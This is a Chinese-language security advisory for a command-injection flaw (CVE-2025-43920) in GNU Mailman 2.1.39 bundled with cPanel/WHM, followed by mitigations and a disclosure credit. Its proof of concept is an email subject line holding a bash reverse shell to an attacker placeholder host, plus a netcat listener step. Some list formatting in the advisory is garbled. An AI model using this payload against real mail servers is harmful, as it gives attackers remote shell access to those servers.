发现者: Firudin Davudzada 与 Musazada Aydan
公开日期: 2025年4月
CVE ID: CVE-2025-43920
严重性: 5.4 中等 (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
攻击类型: 远程
受影响软件: GNU Mailman 2.1.39(捆绑于 cPanel/WHM)
GNU Mailman 2.1.39 在随 cPanel 和 WHM 捆绑分发时,存在一个严重的命令注入缺陷,允许未经身份验证的攻击者执行任意操作系统命令。当在 mm_cfg.py 配置文件中通过 PUBLIC_EXTERNAL_ARCHIVER 或 PRIVATE_EXTERNAL_ARCHIVER 配置了外部归档器,且邮件主题行包含未正确清理的 shell 元字符时,该漏洞即被触发。这可能导致系统完全受损,使攻击者能够建立反弹 shell、窃取数据或执行其他恶意操作。
PUBLIC_EXTERNAL_ARCHIVER、PRIVATE_EXTERNAL_ARCHIVER)Mailman/Handlers/(邮件主题处理逻辑,可能包含 CookHeaders.py 等文件);、&、|),则允许执行任意命令。要利用此漏洞,攻击者可向 Mailman 管理的邮件列表发送带有恶意主题行的邮件,例如:
Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
前提条件:
PUBLIC_EXTERNAL_ARCHIVER 或 PRIVATE_EXTERNAL_ARCHIVER 配置了外部归档器。ATTACKERIP:4444 上设置监听器(例如 netcat)以接收反弹 shell。预期结果: 若外部归档器命令未对主题行进行清理,恶意命令将在服务器上执行,建立指向攻击者服务器的反弹 shell。
禁用外部归档器: 在 mm_cfg.py 中将 PUBLIC_EXTERNAL_ARCHIVER 和 PRIVATE_EXTERNAL_ARCHIVER 设置为 None:
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
清理输入: 如果必须使用外部归档器,请确保命令对主题行进行清理,以防止 shell 元字符注入。
限制订阅: 将邮件列表订阅限制为可信用户,以减少暴露面。
Firudin Davudzada 和 Musazada Aydan 在授权的渗透测试活动中负责任地披露了此漏洞。感谢 MITRE CVE 团队的协调工作。